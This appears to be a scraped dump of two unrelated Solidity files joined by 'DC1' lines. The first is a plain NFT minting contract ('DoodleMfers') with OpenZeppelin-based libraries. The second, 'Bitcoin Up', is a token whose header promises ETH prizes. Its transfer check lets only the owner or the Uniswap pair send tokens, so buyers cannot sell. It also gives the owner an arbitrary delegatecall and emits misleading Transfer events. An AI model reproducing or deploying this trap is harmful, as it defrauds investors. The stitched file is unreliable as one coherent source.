type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // File: gwei-slim-nft-contracts/contracts/base/ERC721Base.sol pragma solidity 0.8.9; struct ConfigSettings { uint16 royaltyBps; string uriBase; string uriExtension; bool hasTransferHook; } /** This smart contract adds features and allows for a ownership only by another smart contract as fallback behavior while also implementing all normal ERC721 functions as expected */ contract ERC721Base is ERC721Upgradeable, IBaseERC721Interface, IERC2981Upgradeable, OwnableUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; // Minted counter for totalSupply() CountersUpgradeable.Counter private mintedCounter; modifier onlyInternal() { require(msg.sender == address(this), "Only internal"); _; } /// on-chain record of when this contract was deployed uint256 public immutable deployedBlock; ConfigSettings public advancedConfig; /// Constructor called once when the base contract is deployed constructor() { // Can be used to verify contract implementation is correct at address deployedBlock = block.number; } /// Initializer that's called when a new child nft is setup /// @param newOwner Owner for the new derived nft /// @param _name name of NFT contract /// @param _symbol symbol of NFT contract /// @param settings configuration settings for uri, royalty, and hooks features function initialize( address newOwner, string memory _name, string memory _symbol, ConfigSettings memory settings ) public initializer { __ERC721_init(_name, _symbol); __Ownable_init(); advancedConfig = settings; transferOwnership(newOwner); } /// Getter to expose appoval status to root contract function isApprovedForAll(address _owner, address operator) public view override returns (bool) { return ERC721Upgradeable.isApprovedForAll(_owner, operator) || operator == address(this); } /// internal getter for approval by all /// When isApprovedForAll is overridden, this can be used to call original impl function __isApprovedForAll(address _owner, address operator) public view override returns (bool) { return isApprovedForAll(_owner, operator); } /// Hook that when enabled manually calls _beforeTokenTransfer on function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { if (advancedConfig.hasTransferHook) { (bool success, ) = address(this).delegatecall( abi.encodeWithSignature( "_beforeTokenTransfer(address,address,uint256)", from, to, tokenId ) ); // Raise error again from result if error exists assembly { switch success // delegatecall returns 0 on error. case 0 { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } } /// Internal-only function to update the base uri function __setBaseURI(string memory uriBase, string memory uriExtension) public override onlyInternal { advancedConfig.uriBase = uriBase; advancedConfig.uriExtension = uriExtension; } /// @dev returns the number of minted tokens /// uses some extra gas but makes etherscan and users happy so :shrug: /// partial erc721enumerable implemntation function totalSupply() public view returns (uint256) { return mintedCounter.current(); } /** Internal-only @param to address to send the newly minted NFT to @dev This mints one edition to the given address by an allowed minter on the edition instance. */ function __mint(address to, uint256 tokenId) external override onlyInternal { _mint(to, tokenId); mintedCounter.increment(); } /** @param tokenId Token ID to burn User burn function for token id */ function burn(uint256 tokenId) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not allowed"); _burn(tokenId); mintedCounter.decrement(); } /// Internal only function __burn(uint256 tokenId) public onlyInternal { _burn(tokenId); mintedCounter.decrement(); } /** Simple override for owner interface. */ function owner() public view override(OwnableUpgradeable) returns (address) { return super.owner(); } /// internal alias for overrides function __owner() public view override(IBaseERC721Interface) returns (address) { return owner(); } /// Get royalty information for token /// ignored token id to get royalty info. able to override and set per-token royalties /// @param _salePrice sales price for token to determine royalty split function royaltyInfo(uint256, uint256 _salePrice) external view override returns (address receiver, uint256 royaltyAmount) { // If ownership is revoked, don't set royalties. if (owner() == address(0x0)) { return (owner(), 0); } return (owner(), (_salePrice * advancedConfig.royaltyBps) / 10_000); } /// Default simple token-uri implementation. works for ipfs folders too /// @param tokenId token id ot get uri for /// @return default uri getter functionality function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "No token"); return string( abi.encodePacked( advancedConfig.uriBase, StringsUpgradeable.toString(tokenId), advancedConfig.uriExtension ) ); } /// internal base override function __tokenURI(uint256 tokenId) public view onlyInternal returns (string memory) { return tokenURI(tokenId); } /// Exposing token exists check for base contract function __exists(uint256 tokenId) external view override returns (bool) { return _exists(tokenId); } /// Getter for approved or owner function __isApprovedOrOwner(address spender, uint256 tokenId) external view override onlyInternal returns (bool) { return _isApprovedOrOwner(spender, tokenId); } /// IERC165 getter /// @param interfaceId interfaceId bytes4 to check support for function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) { return type(IERC2981Upgradeable).interfaceId == interfaceId || type(IBaseERC721Interface).interfaceId == interfaceId || ERC721Upgradeable.supportsInterface(interfaceId); } } // File: gwei-slim-nft-contracts/contracts/base/ERC721Delegated.sol pragma solidity 0.8.9; contract ERC721Delegated { uint256[100000] gap; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // Reference to base NFT implementation function implementation() public view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _initImplementation(address _nftImplementation) private { StorageSlotUpgradeable .getAddressSlot(_IMPLEMENTATION_SLOT) .value = _nftImplementation; } /// Constructor that sets up the constructor( address _nftImplementation, string memory name, string memory symbol, ConfigSettings memory settings ) { /// Removed for gas saving reasons, the check below implictly accomplishes this // require( // _nftImplementation.supportsInterface( // type(IBaseERC721Interface).interfaceId // ) // ); _initImplementation(_nftImplementation); (bool success, ) = _nftImplementation.delegatecall( abi.encodeWithSignature( "initialize(address,string,string,(uint16,string,string,bool))", msg.sender, name, symbol, settings ) ); require(success); } /// OnlyOwner implemntation that proxies to base ownable contract for info modifier onlyOwner() { require(msg.sender == base().__owner(), "Not owner"); _; } /// Getter to return the base implementation contract to call methods from /// Don't expose base contract to parent due to need to call private internal base functions function base() private view returns (IBaseERC721Interface) { return IBaseERC721Interface(address(this)); } // helpers to mimic Openzeppelin internal functions /// Getter for the contract owner /// @return address owner address function _owner() internal view returns (address) { return base().__owner(); } /// Internal burn function, only accessible from within contract /// @param id nft id to burn function _burn(uint256 id) internal { base().__burn(id); } /// Internal mint function, only accessible from within contract /// @param to address to mint NFT to /// @param id nft id to mint function _mint(address to, uint256 id) internal { base().__mint(to, id); } /// Internal exists function to determine if fn exists /// @param id nft id to check if exists function _exists(uint256 id) internal view returns (bool) { return base().__exists(id); } /// Internal getter for tokenURI /// @param tokenId id of token to get tokenURI for function _tokenURI(uint256 tokenId) internal view returns (string memory) { return base().__tokenURI(tokenId); } /// is approved for all getter underlying getter /// @param owner to check /// @param operator to check function _isApprovedForAll(address owner, address operator) internal view returns (bool) { return base().__isApprovedForAll(owner, operator); } /// Internal getter for approved or owner for a given operator /// @param operator address of operator to check /// @param id id of nft to check for function _isApprovedOrOwner(address operator, uint256 id) internal view returns (bool) { return base().__isApprovedOrOwner(operator, id); } /// Sets the base URI of the contract. Allowed only by parent contract /// @param newUri new uri base (http://URI) followed by number string of nft followed by extension string /// @param newExtension optional uri extension function _setBaseURI(string memory newUri, string memory newExtension) internal { base().__setBaseURI(newUri, newExtension); } /** * @dev Delegates the current call to nftImplementation. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { address impl = implementation(); assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external virtual { _fallback(); } /** * @dev No base NFT functions receive any value */ receive() external payable { revert(); } } // File: contracts/mfers.sol pragma solidity ^0.8.9; contract DoodleMfers is ERC721Delegated, ReentrancyGuard { using Counters for Counters.Counter; constructor(address baseFactory, string memory customBaseURI_) ERC721Delegated( baseFactory, "doodle mfer", "dmfers", ConfigSettings({ royaltyBps: 0, uriBase: customBaseURI_, uriExtension: "", hasTransferHook: false }) ) {} /** MINTING **/ uint256 public constant MAX_SUPPLY = 10000; uint256 public constant MAX_FREE_SUPPLY = 420; uint256 public constant MAX_MULTIMINT = 20; uint256 public constant MAX_FREE_MULTIMINT = 5; uint256 public constant PRICE = 20000000000000000; string extensionURI = ".json"; Counters.Counter private supplyCounter; function mint(uint256 count) public payable nonReentrant { require(saleIsActive, "Sale not active"); require(totalSupply() + count - 1 < MAX_SUPPLY, "Exceeds max supply"); require(count <= MAX_MULTIMINT, "Mint at most 20 at a time"); require( msg.value >= PRICE * count, "Insufficient payment, 0.02 ETH per item" ); for (uint256 i = 0; i < count; i++) { _mint(msg.sender, totalSupply()); supplyCounter.increment(); } } function freeMint(uint256 count) public payable nonReentrant { require(saleIsActive, "Sale not active"); require(totalSupply() + count - 1 < MAX_FREE_SUPPLY, "Exceeds max free supply"); require(count <= MAX_FREE_MULTIMINT, "Mint at most 5 at a time"); for (uint256 i = 0; i < count; i++) { _mint(msg.sender, totalSupply()); supplyCounter.increment(); } } function totalSupply() public view returns (uint256) { return supplyCounter.current(); } /** ACTIVATION **/ bool public saleIsActive = true; function setSaleIsActive(bool saleIsActive_) external onlyOwner { saleIsActive = saleIsActive_; } /** URI HANDLING **/ function setBaseURI(string memory customBaseURI_) external onlyOwner { _setBaseURI(customBaseURI_, ""); } function setExtensionURI(string memory customExtensionURI_) external onlyOwner { extensionURI = customExtensionURI_; } function tokenURI(uint256 tokenId) public view returns (string memory) { return string(abi.encodePacked(_tokenURI(tokenId), extensionURI)); } /** PAYOUT **/ function withdraw() public nonReentrant onlyOwner { uint256 balance = address(this).balance; Address.sendValue(payable(_owner()), balance); } }
DC1
/** * Bitcoin Up * The total bonus is up to 10TH * 10 lucky players, each rewarded 0.2ETH * First place: reward 5ETH * Second place: reward 3ETH * Third place: reward 2ETH * Fourth place: prize pool 1ETH * Fifth place: reward 0.35ETH */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract BTCUP { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
